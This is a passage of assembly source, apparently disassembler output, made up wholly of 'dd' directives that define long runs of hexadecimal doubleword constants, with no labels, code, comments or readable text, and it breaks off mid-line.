dd 4B4511A2h, 5D260899h, 596457E0h, 38F48006h, 978C9D01h dd 56F42F2Bh, 25880CDCh, 4DA8D968h, 0A0361041h, 0A535893Bh dd 61DE81B5h, 0E77A6E0Bh, 0F66CDD12h, 332233h, 7D1BB51h dd 0B05B6541h, 0D92B409Fh, 70E68003h, 25B5090Bh, 9683D602h dd 0D8080E50h, 5B5E3182h, 0A9B105Eh, 72F3F853h, 6EDD3951h dd 5B32B789h, 0F1901878h, 9501B920h, 7029F091h, 72B30762h dd 3A5FCC80h, 3F756771h, 31AED2ECh, 0EB29377Fh, 99E2A88h dd 0A79178Dh, 4B5D1233h, 9B0B87E5h, 2B42DBDEh, 96D9C8h dd 9FA79344h, 5500B484h, 8B626CAFh, 48160D1h, 1EB3ECF7h dd 61FA02Eh, 44617C27h, 0EA24C1B4h, 2B541CC9h, 0D285450Bh dd 95291A21h, 90C0979Dh, 0B19730C1h, 18D2E52Eh, 5A959D2Bh dd 29510C64h, 5F336D8Dh, 4839BA97h, 9754E97Dh, 0D9F24190h dd 7950D32Dh, 9FBF9D83h, 0F2121243h, 9E3A2227h, 0B5864041h dd 0A00CB2Eh, 826F7347h, 2C8DC415h, 1D122D34h, 0A583CA6Ch dd 0ACFE162Bh, 9D23C16Dh, 0E9AD3139h, 0BF04A1E4h, 8909B93h dd 0CB8448BDh, 0B214E3CDh, 68A03018h, 0D00CCA09h, 6244742Bh dd 1F54798Dh, 7833DBADh, 410A98D2h, 0F8581E8Bh, 715CC704h dd 20A930FBh, 3200CD13h, 1C5848DAh, 4C4D8B7h, 560CB026h dd 0A962843Dh, 0E65F25FBh, 5A097D82h, 0B99705EDh, 23BE41A4h dd 6E2AF1BDh, 60FCC290h, 0C20F44E9h, 303E21EDh, 0FD25BA1Eh dd 0A0A5F9E6h, 173920B6h, 0A2FC612Eh, 0DD0880CAh, 0C02B0924h dd 44CF376Dh, 0A9A28D38h, 35C4FD02h, 8F80AC42h, 0BFA96ECBh dd 625DDF09h, 0D517909h, 0C59EDD8Ah, 34B8041Fh, 0B89EA9F4h dd 8A1BE5Fh, 932C21CDh, 10B1190h, 0DD2285BDh, 9F5C880Dh dd 8B14EF6h, 0C82832C8h, 1607112Dh, 3DB5BFB3h, 6A576104h dd 22114AC1h, 0D25C762Fh, 0F52BC9B7h, 4B3E2B2Fh, 0BE00576Eh dd 0B636FBEDh, 64247C4Ah, 86CCECECh, 972DBA75h, 0C2BF4D14h dd 78F7D341h, 311F9BC1h, 5385728Eh, 0BE25870Fh, 3E0084A2h dd 83C3CA59h, 0B006EEDh, 0F47F6B9Ch, 4B5B1F19h, 0BF6EC85Fh dd 0D445D709h, 9D737967h, 2259D601h, 0A5C3E19Dh, 485E2092h dd 0DF04C570h, 27195AF7h, 0E20DF8C1h, 0C951345Eh, 93C2FA4h dd 12792F55h, 972780C6h, 849D9F66h, 6009182Ah, 8DC1C7CDh dd 0D0422C60h, 0E26E5481h, 2E07F16h, 8B0277BDh, 0A8E6F944h dd 25205E7Bh, 0F0705D73h, 588690A6h, 493A929h, 0BCB270FDh dd 3E9B5B1Bh, 0B3FD4980h, 3812C47Ah, 3EF42F0Dh, 0E7014A9Dh dd 5C9AA227h, 9D826E0Bh, 315E14F9h, 0C49FC55Ah, 7CEE6214h dd 0E25012EAh, 0CF7101E7h, 29112B5Dh, 0AD88D53Eh, 26CB827h dd 8763A9E8h, 3D80E91Bh, 44947905h, 1FB37009h, 0E0515EE3h dd 40F4E831h, 0BD8974C1h, 986B2895h, 324FFE4h, 8108431Fh dd 0B1B38902h, 2DFE2C87h, 80C87F8Dh, 0A8C30029h, 0B63F4C4Eh dd 5301C1D1h, 771AC9B5h, 9D73AA0Eh, 40B92100h, 0FDC1532Dh dd 12F07B17h, 6014C91Ch, 613741E5h, 8EF3438Dh, 335F4F84h dd 0CFAC1124h, 9CD7B986h, 62ED2F01h, 99F22C67h, 1E05F3DCh dd 4961A7D5h, 606D5864h, 9DC0CBC7h, 7A3F2FD5h, 9F3EE73h dd 77336090h, 73A51A71h, 4A3B7003h, 0CBEE4F1Dh, 1D8D0902h dd 0EF610931h, 5F717E2Bh, 352F75B7h, 2FB480FEh, 0CB27E9C1h dd 0D070D301h, 9A979C95h, 0DC1974F9h, 4B6E2D12h, 0FAF900BAh dd 5FF88B56h, 7EF88B97h, 2A02F623h, 8A3F0CA7h, 691374FEh dd 0ADCDB7Ch, 6E4FCA3Dh, 490D099Eh, 70A72AD1h, 0C4C71256h dd 65C08189h, 10990409h, 2BB6E7Ah, 0B6FFC6BBh, 19E18291h dd 403B7408h, 21758D31h, 0D29D13CBh, 350585Dh, 21940D22h dd 38AEA340h, 0F3B10B47h, 0AEE29767h, 12DC76DCh, 8884C0F8h dd 0DA0E4A58h, 80178970h, 9D5FF3Bh, 3CE90EB0h, 10B8C5AAh dd 629CA5B5h, 7D26EC25h, 0B4195A01h, 912DD230h, 4E9550E9h dd 2D1A80DFh, 7F5F3572h, 0A600D16Eh, 394AB55Ah, 0F84E97EAh dd 6A3E399Dh, 8AF0150h, 7A61EDFCh, 48B4A5C4h, 0BE00F0D4h dd 73790F4Eh, 50FEC68Bh, 0EE57562Ch, 5F8F1907h, 0A6829015h dd 93D87879h, 279A2406h, 61FA3798h, 0EDCF6BEh, 0B8D16F58h dd 8E8B51E0h, 0AD27BD03h, 0AE324728h, 0F517DCD9h, 0FD82C6CEh dd 71507411h, 629E7B35h, 0EE73B8C0h, 631FD9E7h, 0C6E76177h dd 21E92FEFh, 1359FC10h, 0D21A1D9Dh, 7AE0694Dh, 95CBCBAh dd 21158D89h, 858E0545h, 0A8DE96B4h, 750DCE80h, 0DC7EE5FAh dd 0DB5242B8h, 5782CCECh, 25B870BBh, 75E57F3Bh, 4A23F950h dd 2792ED9Dh, 806746F8h, 9D30CDF1h, 4D954816h, 6A164BBEh dd 0D9BD2913h, 0A4B87084h, 4836F3D2h, 7E9009FDh, 0B2BCF996h dd 0DC2B137Eh, 3D7A502Fh, 59307B00h, 0D5DDBE84h, 3BF71EFh dd 5B524BE3h, 0BEB68196h, 0A23DF52Bh, 175F231h, 87F4742Fh dd 82BAF813h, 0EB554BEFh, 0CBFF5E38h, 0A290C544h, 0FDFE1A97h dd 0CA051437h, 7480C088h, 9D34DFD7h, 18DC0D0Bh, 2C4700F6h dd 21CF85D2h, 0F0C4ADE3h, 7AE71169h, 0E7490A50h, 4E0BBC04h dd 13E160A6h, 0A2D2CC0Bh, 6E35CE31h, 0BC040255h, 0D5FD4A0Dh dd 0DC0046B8h, 22DB54BFh, 4E6829AEh, 0C8069A8Dh, 2B75C01Ch dd 3C01FCA9h, 159F7ECFh, 72CE9D0Bh, 84F84EDFh, 4AC07E16h dd 0F9016FF9h, 0E830F5D0h, 88218705h, 82977EC6h, 0D76A5BE2h dd 0E6808B37h, 5F41E4C5h, 6ED8498Bh, 0DE2B0B92h, 8A1C77E6h dd 0E66750F8h, 0CAB735DBh, 0A6528464h, 9228E2D0h, 0AD02F53Bh dd 0FA5EF791h, 91646D6h, 79BB337Ah, 311144F6h, 8A10152Dh dd 89E850F9h, 1F4B49F6h, 7EBFBADCh, 63EC250Bh, 3C9EA3E6h dd 0D1F23012h, 0AC11FDD2h dd 78E00030h, 2AEBD390h, 35259D89h, 4BC2EE20h, 389BCAF8h dd 46F74E7Bh, 28170BA1h, 95058042h, 17312D3Eh, 4882568h dd 0BC4AFC8Eh, 0D20FCE88h, 21C2CAA8h, 6ACFC64Bh, 2F1C3060h dd 513613DCh, 82028817h, 459A2E00h, 0F344357Eh, 0A2400008h dd 7DB86224h, 6F2509DAh, 8878E7F8h, 3391150Dh, 40DD8A1Fh dd 0D6DF81C1h, 154B0856h, 142808CDh, 0B9F03312h, 0A3DE6263h dd 0DCF5D4Fh, 0A9E54940h, 0F5980DE6h, 2046C968h, 2438EAD3h dd 0AC60B13Fh, 0B401326Dh, 57023E3Eh, 0F8495AE8h, 31051408h dd 2464BA9Dh, 2220BF50h, 1FCAEDh, 4E51AFB0h, 0CEF2EB7Bh dd 0ECBB4528h, 5F5B087Eh, 0A5B0C7E7h, 2018BB5h, 0ED53F94Bh dd 0C21005E8h, 3D7CC087h, 8F4FBF03h, 5A5B019Dh, 808720CDh dd 16C598D3h, 0C9E3305Dh, 9E3114F2h, 0C298342Eh, 462B0CA2h dd 0A5E2A055h, 0BA558213h, 50E55BEBh, 1D095B34h, 0FC0D4666h dd 0D1FF091Dh, 5B709C7Bh, 0F0BF5AB1h, 0C7951099h, 28BC11E1h dd 0A30268E8h, 11C8274h, 3B4740BEh, 6A5F1627h, 0E085A602h dd 16DEF4Dh, 90E1B071h, 480B8A0Fh, 5448CA3h, 790D0CBBh dd 14E8181Bh, 970C88h, 0ABBE2A94h, 0EB75848Eh, 465FE42Dh dd 6289F0AFh, 63EDAA51h, 0BE8DA958h, 9A3F40E0h, 0C7CD773Ch dd 29495F53h, 55E9DB5Ch, 9A0F3135h, 0F908A25Ch, 1DB46060h dd 0E961802Ah, 0E78EBD4Bh, 4F5AF210h, 7AE0EFF6h, 2102A297h dd 8CD15B78h, 14B784D3h, 0F3F38857h, 2DF8600h, 44471557h dd 0D7100705h, 0B9519B21h, 0B5AF197Bh, 42530199h, 3EE3DC2Ah dd 50904631h, 5B6DB041h, 0DC95FEDAh, 5138C81Fh, 9B0BAB83h dd 0D90DDA83h, 6876255Dh, 9E946BC0h, 999C0021h, 178D7A1h dd 954BCEC2h, 162B10D9h, 0FD9EF8DFh, 127CF61Ch, 0E752DD3Dh dd 0ACD14DF8h, 0FC6607A3h, 43F8653h, 254EEC0Bh, 85FAC624h dd 6018442Bh, 2A438C5h, 8952F3B3h, 58E92585h, 3F2A715Bh dd 0C9876FD5h, 18D77389h, 0B0F949D8h, 0D92293E1h, 0E61886BCh dd 15819E70h, 0BD71E480h, 3A315BE1h, 0B72FEBE3h, 3558D864h dd 54B68BEEh, 22910926h, 612DCB73h, 0C1100E58h, 121240BBh dd 0B5E141CCh, 90D99138h, 0B81C2EF9h, 0BACEBBC1h, 0C81C82Bh dd 0D18B9FA5h, 0D32D47E9h, 4284999Dh, 0F71CB585h, 4ACC17B2h dd 1D9C0509h, 7B9F72B1h, 1223438Dh, 93E470B3h, 0BD338811h dd 570AB532h, 9FF2A3Ah, 0B9572875h, 222EF8D7h, 69A92492h dd 0F7E7CE70h, 19A56F28h, 0DB80FE0Ah, 5F20BCBBh, 3AADA381h dd 7CB6F712h, 48DE9E0Bh, 0D678CC73h, 79FE0343h, 0F0AF291Fh dd 139F465Ch, 2ABABEA5h, 0D101894Fh, 0B04400E2h, 3DAE4EDAh dd 19458706h, 541F67B9h, 0C4FC948Bh, 181271EAh, 4A319D0Eh dd 407AE62Fh, 2B004090h, 47BB56D2h, 4B58667Dh, 4E099B5Bh dd 0F031E6Ah, 95DF8F92h, 0A0D269C0h, 5B50915h, 120F58FDh dd 0AE6125Dh, 983019E2h, 229D02FCh, 74B7BD90h, 88A08B71h dd 71099925h, 7D356B43h, 0FCB21792h, 0C0DC9AF4h, 0A3735BA2h dd 1FD709EEh, 1C8030E7h, 140AA5DFh, 8F9B224Ah, 0D7804E80h dd 1009BFCAh, 73632902h, 0CB81401Bh, 3D269C03h, 0B2090F7Eh dd 571B1A2Eh, 0A81D9490h, 32E51800h, 840EEA2h, 41260087h dd 46ABB689h, 0C5952F38h, 0BE6F506Dh, 0D7719675h, 416B5E00h dd 0C1BD2994h, 0DF4B8624h, 0E0221B8Ah, 4C807B99h, 3E56BFCEh dd 581B00E8h, 919A12F9h, 8E027C94h, 4D0D9697h, 512A5CCBh dd 0C5E815D5h, 0B39A6480h, 0F7E434A9h, 5BDD8A12h, 629E33E2h dd 0E0730EBBh, 2FFD4CF4h, 28626AD8h, 274190C2h, 56BB0018h dd 13A825E2h, 0FB5B21C2h, 250F2670h, 18C2DFB7h, 773775h dd 0D7B731C2h, 8A174EBEh, 6004321Bh, 1DB9100Ah, 81026122h dd 0F68CC5C7h, 84F7F92Bh, 0B882E380h, 870FC304h, 6067050Ah dd 0A4E59D0Bh, 611FFB78h, 0E4275190h, 0D67B003Eh, 72D7CB71h dd 74003C53h, 0F6FC5B75h, 2FC45CEFh, 0F5B15F61h, 0C04D6C60h dd 0B09452BFh, 0A75CDF65h, 8DC15B54h, 0B4000751h, 231661B3h dd 17A8C19Dh, 0BCAFE997h, 0B39084h, 3D4B26A1h, 2B2D8D01h dd 8E9730B7h, 990F0033h, 0A6E868E2h, 789D7877h, 0CC389756h dd 1A007324h, 6ED6AE59h, 31E07BEh, 0DCF62BFCh, 0FE8D5F52h dd 0A5177401h, 103D7868h, 7F0233B8h, 0A65F28CCh, 0C29B559Fh dd 230D9DE8h, 0F18BC89Eh, 9DDCEE24h, 76C0EB6Dh, 0EFED928h dd 0DB02D37h, 29F57280h, 65D245B5h, 7C6BD9A3h, 38E991E8h dd 5E2792B4h, 1014DC13h, 59CC2957h, 0E18D4AC0h, 95FE4260h dd 98D6BE8Bh, 9A4CBDF6h, 543EC2B5h, 95D325C0h, 0E596278h dd 72D2F326h, 19F78402h, 46258DDEh, 8C0F27C5h, 0EADDD519h dd 567AD70Eh, 0B7F5AF12h, 8C6A4AE3h, 1960C002h, 0A5027973h dd 4BE35610h, 16800F37h, 8EBE17CDh, 20605A61h, 71597B0h dd 3F01FF1Dh, 89531F41h, 90502D9Dh, 750615Ah, 0DE1387BBh dd 0AE34E415h, 0AED2F89Bh, 4F81C760h, 2537FABFh, 0EF660A67h dd 1418CA81h, 1F00BEF2h, 53198014h, 6800A80Dh, 0EAF4BA02h dd 9267E44h, 327264DAh, 40019A84h, 8C1968FCh, 0FB7449EEh dd 0F18FE60Eh, 0E082A6F3h, 12BBC9F4h, 0E3F2D875h, 0C0095809h dd 7824B00Eh, 97140044h, 374640CCh, 163F5285h, 8B318B8Ch dd 535EC190h, 0EE9EC83Ah, 0AF936C00h, 54B2A13Ah, 253807ACh dd 295F5B51h, 12DE2FDEh, 127E062Eh, 393F2979h, 37BA818h dd 0CAF2AFBBh, 128841AEh, 1809E381h, 5107BD6Dh, 0F658A832h dd 2F618102h, 13729E6Eh, 0ECB5844Eh, 0EAA78094h, 0A87175h dd 255D79DCh, 0DDAB92Bh, 9501697h, 23D9529h, 39C43271h dd 59A9234Fh, 9D298760h, 8E98054Ch, 0A5E91743h, 7E4B0DE8h dd 6A22CB0Bh, 0CC1A61E3h, 0E2366B2Eh, 2D073019h, 0C63C00Bh dd 9001701Bh, 822AF4A8h, 0F7407A54h, 124A943h, 0BAE51063h dd 0E8E30F1Dh, 9B05A1F5h, 11A84CD1h, 9ED023FBh, 3979C0F8h dd 0D2B27F02h, 5184289Bh, 15854236h, 859F928h, 0F47D54F6h dd 0E00EAD00h, 28362576h, 8D310B99h, 0B4EE104Dh, 19259298h dd 23ACE07h, 8FD7EF81h, 0BB5628DFh, 0BA37D749h, 0C47F588Bh dd 0D96F007Bh, 1667B1Bh, 9DBAE1BDh, 7AF65B4Ah, 453015B2h dd 3F06B0BBh, 8941F595h, 0C20D859Ah, 2CD178A4h, 0AF0AA602h dd 8182DABAh, 485C197Dh, 837D5E9h, 0CC2D5B01h, 0A1596976h dd 0B8D88289h, 35AF5873h, 3D3F038Bh, 2990832Eh, 0AB945CE8h dd 90BCCE40h, 0CC840077h, 0D53D44BFh, 0E20971CFh, 737C7D52h dd 181D596Dh, 1DA7F66h, 0BD8C41Ah, 396AC1D6h, 79E5EDEh dd 5C30AE92h, 4F859D23h, 0CD05442Bh, 9390B814h, 0D9CBD2C7h dd 716225CEh, 0F3B1821Bh, 77287AA4h, 0A6FE0B66h, 18C8E808h dd 8200257Ah, 0E2B26FA3h, 5927595h, 0A1D45BCDh, 55958CC4h dd 0AD5AAE0Eh, 689C60C7h, 9029E6h, 34FA1ABAh, 5FFF1CE0h dd 988D1A97h, 0D669B7Ah, 89EE3E64h, 257E3C22h, 5C72C65Fh dd 21299B03h, 0AB309A0h, 46D65B5Ch, 0FAB6001Ch, 0ED3571D8h dd 79512F40h, 1891FE35h, 29093C80h, 0F90E9E61h, 5D516050h dd 2CB65BC7h, 0B8BFBBh, 0AA72EC15h, 85122F3Bh, 0E004BB1Ah dd 0F90A031Dh, 84F2CE88h, 0D775ADE5h, 75A01AB6h, 147FEE8Eh dd 8C82CF04h, 7CB80D7Ah, 0B9175EA7h, 4C42E807h, 9D104DA4h dd 64502D1Dh, 0D37E2411h, 0AE760067h, 648C7435h, 77173C03h dd 0E90BA105h, 0AC555BDEh dd 2E52201Ch, 0F6D399E2h, 689EA06Fh, 8CB54BB7h, 0F99D29CAh dd 0DBE02DC6h, 36A46093h, 9A69895h, 23B1258Dh, 0F23546FFh dd 1FAB09D5h, 0AB8B706Bh, 5B4BAC7Ah, 592FBD8Ah, 50814EBDh dd 0F872C096h, 3A37DD2Bh, 0B771CF6Ah, 7DCBFC10h, 8026FB39h dd 3EDB50E8h, 12A8461Bh, 0E124EB80h, 9B2D2BD5h, 9B66E2Eh dd 441565A4h, 0E771Eh, 4D246358h, 558560FCh, 0E3ED1604h dd 0C5B868E9h, 52DB8100h, 8B57C398h, 9D09C10Bh, 9567F88Dh dd 88E3C9B8h, 0BF0590E2h, 30DBA577h, 5A848691h, 0DC1CF6EEh dd 0E6D0032Fh, 203176ADh, 9CC10271h, 6CE6A275h, 64BB5E81h dd 0DE197CA6h, 0EFB7ED5Fh, 55D88BCCh, 0EB896A4Bh, 0E0CD1D7Ah dd 0C0AA9048h, 0A4CF4256h, 8A3E0068h, 876DFD6Bh, 0B22D75B5h dd 369382C0h, 2230D006h, 0BF020580h, 5E4CED17h, 0DC247C90h dd 88A77613h, 6AED09EEh, 0D506093Dh, 9F3C8076h, 1C5A05F0h dd 9259CBE7h, 0BA05F7BCh, 60DBD89h, 97D2E2A4h, 0C842F315h dd 0E2B24052h, 92FFA0BCh, 6AFB2705h, 1D08295Ch, 0ACB1012Fh dd 2AD1FF61h, 0FE090081h, 48E1282Eh, 0AA2D0085h, 0F05199ECh dd 0FEAE5250h, 0E2855B4Bh, 6854A2A8h, 0F0799F1Ch, 44526DAFh dd 65B0C14Dh, 569C2B2Bh, 0E9DD098Ah, 6D710E79h, 4A458A6Dh dd 32BD8205h, 0A909A6A4h, 332EFCB3h, 5BC3573Ch, 0BAF4B311h dd 478E0F14h, 50445627h, 8B0032FCh, 39DCFB1h, 2846D676h dd 0C9801AFDh, 0F95BFEFCh, 0EEF38103h, 5606F2A5h, 4085C9FFh dd 2ADDF155h, 1923E66Bh, 0C9B7E300h, 9FEA73F4h, 0AC2FE584h dd 0A7B6D3E4h, 5D45D3A0h, 604B9970h, 1907C8Ch, 611B2FF1h dd 0E0FA3ED8h, 0EE0012A5h, 28F6EFF0h, 90DB8C59h, 0F4B55F2Ch dd 19EC893Fh, 4C25959Ch, 13F445FAh, 4187B09Eh, 7F70E6D9h dd 802CC301h, 0E8471E4h, 0AD41B1EFh, 97D722F6h, 9889CB1h dd 2BECCD3Ah, 0E59D0242h, 0DD1E0D24h, 8632E13h, 0CC347309h dd 0DB76C123h, 595B7025h, 11C908BDh, 1F3226Ch, 0C82B5FFCh dd 4108870Fh, 10028D46h, 68B5F53h, 59D89D1h, 0B44FD23h dd 2C3009BFh, 68431CCh, 0A117531Dh, 386203ADh, 9055082Dh dd 903151B1h, 0E562EB8Eh, 0BFE1A05Ah, 0C909B125h, 0AC141616h dd 9447803Bh, 785039Ah, 0EED2396h, 1F31F620h, 74C3B727h dd 0E3F2CE75h, 0EE1D221Dh, 0D24D5F85h, 1884A59Fh, 3C82AAFEh dd 425D8C95h, 163197DEh, 0BB00E2A7h, 5EF389FFh, 85F0C003h dd 1BA10CADh, 0FC352BFBh, 0F915C80Ah, 806D156Fh, 3D0918FCh dd 4B7A0508h, 0C05EC911h, 0A4651498h, 0CEB94E09h, 0F43AFC07h dd 0F3E1E200h, 0B5BFA597h, 1B1D2599h, 8D0416C2h, 0C9CAF10h dd 0E7F0465h, 0D7192322h, 0FCD8E273h, 1CB16A60h, 0BB263097h dd 0F1B61696h, 9386AC78h, 396EABh, 0DB95D0D9h, 282F18Dh dd 0B5298677h, 0BE55204Dh, 0D5FB9757h, 0B861B50h, 8AC94537h dd 5BDF3500h, 275E3AFEh, 0F40D3A83h, 0B8CFE9BFh, 25A5B82Bh dd 6CC45FDFh, 1F837BDh, 8CC48EEBh, 0D38B38F9h, 0CE655C1Eh dd 0D441BE66h, 0A4D3FB9Dh, 5AC4841Ah, 2838C229h, 76785909h dd 0E5261446h, 65091FAFh, 5B69ACFCh, 33901A4Dh, 0C7185F3h dd 16121E0h, 49258B26h, 21097359h, 38B6B82h, 75AC354Dh dd 9AAE9509h, 20CA61C5h, 0D67DAD04h, 2A80A49Ah, 51BD2937h dd 87B1241h, 0FF020B94h, 0F6800FE1h, 82596980h, 85050763h dd 9BC96A9h, 0EE8C7600h, 0AC2F6C0Ah, 40E49803h, 619F6004h dd 9DBB2532h, 611BA532h, 0DE51A05Ch, 0E03DE615h, 1889BB8Dh dd 6A7CF378h, 679509D9h, 407411EBh, 0D58ACD96h, 5ED0E510h dd 0A5E49Dh, 0FA63C6E7h, 308B73C3h, 604FC916h, 75844BDBh dd 4AD1B85Ah, 5CF8C5C2h, 587823A7h, 0B0029BFAh, 0B7BCD1EBh dd 93A25C11h, 457BFAD2h, 3E3A4A09h, 41A7CE51h, 0CB2A3188h dd 9DDA4EC1h, 12D81580h, 23B16663h, 57F4280h, 1CDC5F9h dd 0E2EB4B44h, 286050D4h, 8C1383C8h, 2E2BD9F5h, 7D805B38h dd 0DE02646Ah, 84EEFE00h, 181080D5h, 0BB5E01BDh, 26DA8244h dd 46782861h, 0AAFEB059h, 0E18658DFh, 41E8CF49h, 644AFDE0h dd 0C651E1B3h, 25F28A2Ah, 0E1645466h, 0BE7C6AE5h, 515DE95Ah dd 0B884004Ch, 0BEDE423Fh, 8BA3F716h, 7A004CA3h, 0DD9FB605h dd 2011F8Ch, 0AA5AED17h, 89CD65D3h, 0FD1C9C2Bh, 4AECCD00h dd 0CFB416CAh, 0A75600E6h, 9FAD22A8h, 96A05B0Ah, 284B6D8Dh dd 310473F7h, 0B82AF1B5h, 979AB4E4h, 56E24DC1h, 54CC7B3Bh dd 10B10052h, 733075A3h, 0A55C32E6h, 0F0ADB488h, 0E825A94Eh dd 19879FB7h, 60B53A96h, 538329CBh, 0B3BB5F0Ah, 0DD088478h dd 0B2E90410h, 29D8EE01h, 167E00B4h, 8C5F2C0h, 0B572E292h dd 68F02E4Ah, 2F5F8130h, 4AE1334h, 0BCB15ECAh, 0A712D215h dd 0B66952BFh, 301BB2F8h, 9602A9B5h, 5886D2DFh, 0D266577Ah dd 0F19D2313h, 132BABF5h, 0E8A4BDFFh, 8E4002C4h, 0A06A5193h dd 0E5280C5Fh, 0A0825C7h, 4617F27Bh, 2BBCC7F9h, 9FB46600h dd 901315CBh, 4A70F7E4h, 5B0B4065h, 0BB509601h, 2D0AC76Dh dd 0DC2D74DEh, 37AD654Bh, 0A6138302h, 0D64ABD4Bh, 1E09CD5h dd 0C056F954h, 604E0F32h, 6804CAFAh, 631BBBB1h, 3B7CB5B8h dd 0DBCE04B8h, 4FA92C9h, 0E1285FBh, 2CE4BD09h, 72A68D93h dd 9025407Dh, 49C3FB2h, 3295E10Fh, 0AAB89AA9h, 5C757A3Fh dd 3BD1091h, 0BF3DBB02h, 0E4742F15h, 121546D6h, 0B10B2AF2h dd 20C8E419h, 61160A0Dh, 0D7258C0Fh, 2B00A0A2h, 8AC56403h dd 5FEC1440h, 1B4B0BF2h, 885A7E8Bh, 0D6048962h, 5C2231E7h dd 5FA38AACh, 0A0A7B784h, 12E6AE29h, 30FC6487h, 55BD920Dh dd 7BED3E1Ch, 91F47707h, 7BAA45F5h, 8DAE0052h, 0A25B1306h dd 0C7DE28FDh, 0B529E2FCh, 257EF9C7h, 5BC5FD8Ah, 1A58E611h dd 628C4AC0h, 22027D90h, 15980630h, 97E19602h, 4D5DF46Ah dd 0FBBCC057h, 0A7A088C7h, 82BE0D8Dh, 15B231E7h, 0E9675C29h dd 0C8ED4385h, 6B5FB5A0h, 4F7B9A7Bh, 9972F0C5h, 5B9D704Bh dd 809B9A3Eh, 4EA70CCFh, 0B41D02F1h, 13A5BD23h, 0DE8B5001h dd 0B565F2Eh, 0FCED0BC5h, 0D1601BE4h, 8B006B78h, 28BB66A8h dd 968A0F60h, 6FB664Dh, 0CE61CF25h, 0D4AC9685h, 2B52FD05h dd 0B589199Dh, 0E9A51D6Eh, 0AC5ECBC9h, 0F2230BD4h, 0E7026C16h dd 0D008108Dh, 9007893Dh, 0A5B67170h, 0C27C7E62h, 2D0BA0EFh dd 578E3Ch, 443E9A71h, 58FDCC82h, 38D84695h, 57CE5B56h dd 0E8BCF9EAh, 0F353B793h, 74C2A5B8h, 3364DE55h, 0EDB469FDh dd 20B9258Dh, 7B25FD5Bh, 0C8AB507Fh, 6388724Bh, 0F91616D9h dd 0D804EB70h, 5B09234Dh, 122673D7h, 0D210B9FEh, 0ACA006E6h dd 7118456Fh, 0FDD06418h, 0B886880Dh, 8B76BD9Dh, 0E4840DCBh dd 0FFD5EB65h, 9966FAAh, 0C33E9EDBh, 4A5296E4h, 0F265B61Ch dd 0FB78301Dh, 0AB0C9300h, 0C2F56A74h, 81989F3Ah, 0A50379D4h dd 24692AF1h, 51B58823h, 0BC9B21Fh, 18259531h, 0B77762EEh dd 0FCF9AEC9h, 0FBB31EAh, 83B83831h, 0B89E8439h, 0E8BB26h dd 517A4EEEh, 5A68553h, 5A1C6A1Ah, 1C4656BEh, 0A320509Dh dd 1DD5E133h, 207D4041h, 0A245607Bh, 0B61274A7h, 52AE7068h dd 9FB9B286h, 48FD2F74h, 0D4F26BB9h, 9529F90Bh, 96989B56h dd 0D777B3FCh, 0CDE3FAh, 0A2864C07h, 0C9ECFAh, 0AE7EFCA3h dd 0D2D7ABEDh, 0A765CE01h, 5F616071h, 50508342h, 0B96043Ah dd 0EC060D9Dh, 8595A0B0h dd 2D258411h, 40BCEF2Fh, 0F483FCB6h, 1289FD48h, 377A0799h dd 570B1523h, 0EB525E84h, 0D8502873h, 97D001ABh, 7D07B3F8h dd 0F60C01DFh, 6EFA292Eh, 0DBAA3384h, 84E6C017h, 0FFF430Dh dd 18AF816Dh, 32E91090h, 24D7047Ah, 0BD13D203h, 87A6D70Bh dd 6EEF38A0h, 0D1EEF500h, 8BF12AA9h, 7AC65ADAh, 0B8C900D2h dd 7E50C58Ah, 0F0354A9Ah, 5C823154h, 0B6D7A2Ah, 0D7307A62h dd 7FD8E490h, 0A52FDB00h, 88912617h, 43450071h, 0F95FFCF7h dd 789D20E9h, 2762B7DBh, 0A904227Fh, 0EA295E14h, 5276A77Ch dd 0D5BD3389h, 0A66AFA25h, 8092F075h, 6F6A5F37h, 0E4E30042h dd 8B379C97h, 9A107584h, 5F3350C9h, 497A27B7h, 2CE57AE0h dd 27225C82h, 0EBFC9D1Bh, 0B45024C8h, 16984079h, 0E044F6Ah dd 0DE8A6072h, 6178CCBAh, 2E875B55h, 0E87620C1h, 7531452Ah dd 8028A92Bh, 0D83F8EF4h, 46FA00BCh, 6AFBC1A9h, 0A301E132h dd 0A58629D4h, 7A7A5F08h, 17640052h, 6B3423CFh, 20795A77h dd 8FCD9ED2h, 0A5A34001h, 0EAF33E03h, 97CBB6FCh, 0CEF32EBAh dd 42D2850h, 0F12C3CEBh, 8DAABB3h, 69C11AC8h, 77F0FD40h dd 603B2D68h, 730098D1h, 2059446Bh, 32E22C91h, 63D66B60h dd 187B960h, 28C78F7h, 7E30CA14h, 415E5E7Ah, 1678AB2Bh dd 599497B7h, 0F8025145h, 40A2AA21h, 27B5A2Dh, 0C780026Ah dd 9002504Ch, 6E3D7D6Eh, 3D540980h, 0B77FDA5h, 1E719D31h dd 0FEA938E9h, 2B514D7h, 34CAEB81h, 625E0EE9h, 827AC170h dd 1915A540h, 7CFEC5C9h, 0A55FDCF0h, 0E903E0BCh, 901ED3D5h dd 2DC7840Bh, 0D6DB5C8Eh, 62D1446h, 462460D1h, 24AFD913h dd 0E5821221h, 8D122E46h, 17F26FA3h, 251BDE30h, 0A6EC1D26h dd 239D1CB1h, 7F6E440h, 9D5C3506h, 0F3A413E7h, 120BC908h dd 26C0F35Bh, 481E1A56h, 0CF3F834Fh, 0BC8CF56Ah, 34CE9E38h dd 2294B0FFh, 7398779Dh, 711CCE26h, 0F9ACFAD3h, 21DDF07h dd 5DB7A52Eh, 63127C1h, 0A349F76Bh, 6A5EF88Fh, 0CDC15EC7h dd 158E8956h, 42C97929h, 81200105h, 661AABC3h, 256931B0h dd 211B52B7h, 913016Dh, 71E5F01Ch, 7EE091C7h, 182D8510h dd 7743BBC0h, 0BA517650h, 0D2123A49h, 0D30267ECh, 71C64F53h dd 2B05BC5Eh, 0C0B499BDh, 1849259Dh, 0FBF4C2E6h, 0F582B60h dd 0F2799BB5h, 252AC4D1h, 0DB81401Eh, 0A4E9E6F1h, 0F78017A1h dd 294A05FBh, 6D2E0410h, 0CF814717h, 0B9BCB6D4h, 0AB49F264h dd 4F0F988Ch, 0EE558886h, 6D23A012h, 0B51EBEF4h, 44FA45CEh dd 0BD67A901h, 6B90E018h, 0E9C1C82Bh, 2027496Fh, 0B7F09CBBh dd 0F6D3B596h, 825D950Ah, 2DB53EBBh, 676F5E1Dh, 0C0F4E984h dd 91D89AE1h, 146EA22Ah, 2E28A583h, 898A2EFEh, 5DC28095h dd 0F0145708h, 0DF42A20h, 0BD950160h, 919E0225h, 0D6DE37EAh dd 39DE5626h, 358164B1h, 8A089377h, 82E66EFCh, 8702E9B5h dd 0AF562B26h, 13D520D4h, 